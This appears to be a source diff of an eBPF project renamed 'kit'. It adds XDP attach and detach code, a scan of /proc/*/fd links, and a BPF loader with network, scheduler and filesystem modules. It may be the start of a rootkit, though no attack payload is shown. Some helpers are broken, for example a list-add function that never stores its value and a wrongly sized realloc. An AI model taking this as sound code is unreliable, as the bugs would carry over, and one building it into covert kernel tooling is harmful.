if(err<0 || (xdp_prog_id_old!=0 && xdp_prog_id_old!=xdp_prog_id_new)){
fprintf(stderr, "Xdp program found id--> old:%u != new:%u\n", xdp_prog_id_old, xdp_prog_id_new);
fprintf(stderr,"This should not happen, since our xdp program is removed automatically between calls\nRun `ip link set dev lo xdpgeneric off` to detach whichever program is running");
//TODO automatically force the reattach
return -1;
}
// Attach loaded xdp program
skel->links.xdp_receive = bpf_program__attach_xdp(skel->progs.xdp_receive, ifindex);
err = libbpf_get_error(skel->links.xdp_receive);
if (err<0) {
fprintf(stderr, "Failed to attach XDP program\n");
return -1;
}
return 0;
}
int attach_xdp_all(struct kit_bpf *skel, __u32 ifindex, __u32 flags){
return attach_xdp_receive(skel, ifindex, flags);
}
int detach_xdp_receive(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.xdp_receive);
if(err<0){
fprintf(stderr, "Failed to detach XDP program\n");
return -1;
}
return 0;
}
int detach_xdp_all(struct kit_bpf *skel){
return detach_xdp_receive(skel);
}
#endif

View File

@@ -0,0 +1,96 @@
#define _XOPEN_SOURCE 700
#define _LARGEFILE64_SOURCE
#define _FILE_OFFSET_BITS 64
#include <stdlib.h>
#include <unistd.h>
#include <ftw.h>
#include <time.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include "path.h"
#include "../structures/fdlist.h"
#include "../strings/regex.h"
#define USE_FDS 15
//Global variable for the parameter fd_list, there is no other better way of doing this
FdList* fd_param;
int print_entry(const char *filepath, const struct stat *info, const int typeflag, struct FTW *pathinfo){
/* const char *const filename = filepath + pathinfo->base; */
//Symlinks
if (typeflag == FTW_SL) {
char *target;
size_t maxlen = 1023;
ssize_t len;
while (1) {
target = malloc(maxlen + 1);
if (target == NULL)
return ENOMEM;
//Path too long, aborting
len = readlink(filepath, target, maxlen);
if (len == (ssize_t)-1) {
const int saved_errno = errno;
free(target);
return saved_errno;
}
if (len >= (ssize_t)maxlen) {
free(target);
maxlen += 1024;
continue;
}
target[len] = '\0';
break;
}
//Checking if target corresponds to the
if(regex_match_fd(filepath)==0){
//Add to fdlist
printf(" %s -> %s\n", filepath, target);
}
free(target);
}/*else
if (typeflag == FTW_SLN)
printf(" %s (dangling symlink)\n", filepath);*/
else
if (typeflag == FTW_F)
printf(" %s\n", filepath);
/*else
if (typeflag == FTW_D || typeflag == FTW_DP)
printf(" %s/\n", filepath);
else
if (typeflag == FTW_DNR)
printf(" %s/ (unreadable)\n", filepath);
else
printf(" %s (unknown)\n", filepath);*/
return 0;
}
/**
* @brief
*
* @param dirpath
* @return NULL if error, FDList with elements matching kmsg fd if OK
*/
FdList* load_fd_kmsg(const char *const dirpath){
int res;
fd_param = FdList_create(100);
// Invalid directory path?
if(dirpath == NULL || *dirpath == '\0'){
return NULL;
}
//Physical walk, but we follow symlinks in the subroutine
res = nftw(dirpath, print_entry, USE_FDS, FTW_PHYS);
if (res >= 0){
return NULL;
}
return fd_param;
}

View File

@@ -0,0 +1,9 @@
#ifndef __PATH_H
#define __PATH_H
#include "../structures/fdlist.h"
FdList* load_fd_kmsg(const char *const dirpath);
#endif

View File

@@ -0,0 +1,43 @@
#include <regex.h>
#include <stdio.h>
#include <stdlib.h>
#include "regex.h"
/**
* @brief Compares string against regular expression for file descriptor detection
*
* @param str
* @return 0 if matches, 1 if not matching, -1 if error
*/
int regex_match_fd(const char* str){
regex_t regex;
int reti;
// Compile regular expression (/proc/*/fd/*)
reti = regcomp(&regex, "^\\/proc\\/[[:alnum:]]\\+\\/fd\\/[^\n ]\\+$", 0);
if (reti) {
fprintf(stderr, "Could not compile regex\n");
return -1;
}
// Execute regular expression
int result = 0;
reti = regexec(&regex, str, 0, NULL, 0);
if (!reti) {
puts("Match");
result = 0;
}else if (reti == REG_NOMATCH) {
result = 1;
}else {
char msgbuf[100];
regerror(reti, &regex, msgbuf, sizeof(msgbuf));
fprintf(stderr, "Regex match failed: %s\n", msgbuf);
return -1;
}
//Free memory allocated to the pattern buffer by regcomp()
regfree(&regex);
return result;
}

View File

@@ -0,0 +1,12 @@
#ifndef __REGEX_H
#define __REGEX_H
/**
* @brief Compares string against regular expression for file descriptor detection
*
* @param str
* @return 0 if matches, 1 if not matching, -1 if error
*/
int regex_match_fd(const char* str);
#endif

View File

@@ -0,0 +1,57 @@
#include <stdlib.h>
#include <stdio.h>
#include "fdlist.h"
/**
* @brief Creates a new fdlist with a given size
*
* @param size
* @return FdList
*/
FdList* FdList_create(int size){
FdList *fd_list = (FdList*)calloc(1, sizeof(FdList));
fd_list->max_size = size;
fd_list->size = 0;
fd_list->list = (int*)calloc(size, sizeof(int));
return fd_list;
}
/**
* @brief Adds a new fd to the list
*
* @param fd_list
* @param fd_new
* @return 0 ok, -1 error
*/
int FdList_add(FdList *fd_list, int fd_new){
if(fd_list->size+1 >= fd_list->max_size){
return -1;
}
return 0;
}
/**
* @brief Extends size of list
*
* @param fd_list
* @param new_size
* @return int
*/
int FdList_extend(FdList *fd_list, int new_size){
fd_list->list = (int*)realloc(fd_list->list, new_size);
return 0;
}
/**
* @brief Destroy list
*
* @param fd_list
* @return int
*/
int FdList_destroy(FdList *fd_list){
free(fd_list->list);
free(fd_list);
return 0;
}

View File

@@ -0,0 +1,20 @@
#ifndef __FDLIST_H
#define __FDLIST_H
typedef struct FdList{
int size;
int max_size;
int* list;
} FdList;
FdList* FdList_create(int size);
int FdList_add(FdList *fd_list, int fd_new);
int FdList_extend(FdList *fd_list, int new_size);
int FdList_destroy(FdList *fd_list);
#endif

View File

@@ -8,16 +8,31 @@
#include <net/if.h> #include <net/if.h>
#include <unistd.h> #include <unistd.h>
#include "xdp_filter.skel.h" #include <bpf/bpf.h>
#include "xdp_filter.h"
#include "../constants/constants.h" #include "kit.skel.h"
#include "../common/constants.h"
#include "../common/map_common.h"
#include "include/utils/files/path.h"
#include "include/utils/strings/regex.h"
#include "include/utils/structures/fdlist.h"
#include "include/modules/module_manager.h"
#define ABORT_IF_ERR(err, msg)\
if(err<0){\
fprintf(stderr, msg);\
goto cleanup\
}
static struct env { static struct env {
bool verbose; bool verbose;
} env; } env;
void print_help_dialog(const char* arg){ void print_help_dialog(const char* arg){
printf("\nUsage: %s ./xdp_filter OPTION\n\n", arg);
printf("\nUsage: %s ./kit OPTION\n\n", arg);
printf("Program OPTIONs\n"); printf("Program OPTIONs\n");
char* line = "-t[NETWORK INTERFACE]"; char* line = "-t[NETWORK INTERFACE]";
char* desc = "Activate XDP filter"; char* desc = "Activate XDP filter";
@@ -60,29 +75,58 @@ static void sig_handler(int sig){
exiting = true; exiting = true;
} }
/*static int handle_event(void *ctx, void *data, size_t data_sz){ /**
const struct event *e = data; * @brief Manages an event received via the ring buffer
* It's a message from th ebpf program
*
* @param ctx
* @param data
* @param data_sz
* @return int
*/
static int handle_rb_event(void *ctx, void *data, size_t data_size){
const struct rb_event *e = data;
//For time displaying
struct tm *tm; struct tm *tm;
char ts[32]; char ts[32];
time_t t; time_t t;
time(&t); time(&t);
tm = localtime(&t); tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm); strftime(ts, sizeof(ts), "%H:%M:%S", tm);
printf("NEW: %s\n",
e->payload); if(e->event_type == INFO){
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
}else if(e->event_type == DEBUG){
}else if(e->event_type == ERROR){
}else if(e->event_type == EXIT){
}else{
printf("UNRECOGNIZED RB EVENT RECEIVED");
return -1;
}
return 0; return 0;
}*/ }
int main(int argc, char**argv){ int main(int argc, char**argv){
//struct ring_buffer *rb = NULL; struct ring_buffer *rb = NULL;
struct xdp_filter_bpf *skel; struct kit_bpf *skel;
int err; __u32 err;
unsigned int ifindex; //Ready to be used
/*for (int arg = 1; arg < argc; arg++) {
if (load_fd_kmsg(argv[arg])) {
fprintf(stderr, "%s.\n", strerror(errno));
return EXIT_FAILURE;
}
}*/
__u32 ifindex;
/* Parse command line arguments */ /* Parse command line arguments */
int opt; int opt;
@@ -120,58 +164,83 @@ int main(int argc, char**argv){
} }
} }
// Set up libbpf errors and debug info callback //Set up libbpf errors and debug info callback
libbpf_set_print(libbpf_print_fn); libbpf_set_print(libbpf_print_fn);
// Bump RLIMIT_MEMLOCK to be able to create BPF maps // Bump RLIMIT_MEMLOCK to be able to create BPF maps
bump_memlock_rlimit(); bump_memlock_rlimit();
// Cleaner handling of Ctrl-C //Cleaner handling of Ctrl-C
signal(SIGINT, sig_handler); signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler); signal(SIGTERM, sig_handler);
// Load and verify BPF application //Open and create BPF application in the kernel
skel = xdp_filter_bpf__open(); skel = kit_bpf__open();
if (!skel) { if (!skel) {
fprintf(stderr, "Failed to open and load BPF skeleton\n"); fprintf(stderr, "Failed to open and load BPF skeleton\n");
return 1; return 1;
} }
// Load & verify BPF programs */ //Load & verify BPF program
err = xdp_filter_bpf__load(skel); err = kit_bpf__load(skel);
if (err) { if (err) {
fprintf(stderr, "Failed to load and verify BPF skeleton\n"); fprintf(stderr, "Failed to load and verify BPF skeleton\n");
goto cleanup; goto cleanup;
} }
// Attach tracepoints //Attach XDP and sched modules using module manager
/*err = xdp_filter_bpf__attach(skel); //and setup the parameters for the installation
if (err) { //XDP
fprintf(stderr, "Failed to attach BPF skeleton\n"); module_config.xdp_module.all = ON;
module_config_attr.xdp_module.flags = XDP_FLAGS_REPLACE;
module_config_attr.xdp_module.ifindex = ifindex;
//SCHED
module_config.sched_module.all = ON;
//FS
module_config.fs_module.all = ON;
module_config_attr.skel = skel;
err = setup_all_modules();
// Set up ring buffer polling --> Main communication buffer kernel->user
rb = ring_buffer__new(bpf_map__fd(skel->maps.rb_comm), handle_rb_event, NULL, NULL);
if (rb==NULL) {
err = -1;
fprintf(stderr, "Failed to create ring buffer\n");
goto cleanup; goto cleanup;
}*/ }
//Attack BPF program to network interface
int flags = XDP_FLAGS_SKB_MODE;
int fd = bpf_program__fd(skel->progs.xdp_receive);
err = bpf_set_link_xdp_fd(ifindex, fd, flags);
//Now wait for messages from ebpf program
printf("Filter set and ready\n"); printf("Filter set and ready\n");
while (!exiting) { while (!exiting) {
/* trigger our BPF program */ err = ring_buffer__poll(rb, 100 /* timeout, ms */);
fprintf(stderr, ".");
sleep(1); //Checking if a signal occured
if (err == -EINTR) {
err = 0;
break;
}
if (err < 0) {
printf("Error polling ring buffer: %d\n", err);
break;
}
} }
//Received signal to stop, detach program from network interface //Received signal to stop, detach program from network interface
fd = -1; /*err = detach_sched_all(skel);
err = bpf_set_link_xdp_fd(ifindex, fd, flags); if(err<0){
perror("ERR");
goto cleanup;
}
detach_xdp_all(skel);
if(err<0){
perror("ERR");
goto cleanup;
}*/
cleanup:
cleanup: ring_buffer__free(rb);
xdp_filter_bpf__destroy(skel); //kit_bpf__destroy(skel);
if(err!=0) return -1;
return err < 0 ? -err : 0;
return 0; return 0;
} }

View File

@@ -1,11 +0,0 @@
#ifndef __XDP_FILTER_H
#define __XDP_FILTER_H
#define MAX_PAYLOAD_LEN 127
struct event {
char payload[MAX_PAYLOAD_LEN];
//bool exit_event;
};
#endif

126931
src/vmlinux/headervmlinux.h Normal file

File diff suppressed because it is too large Load Diff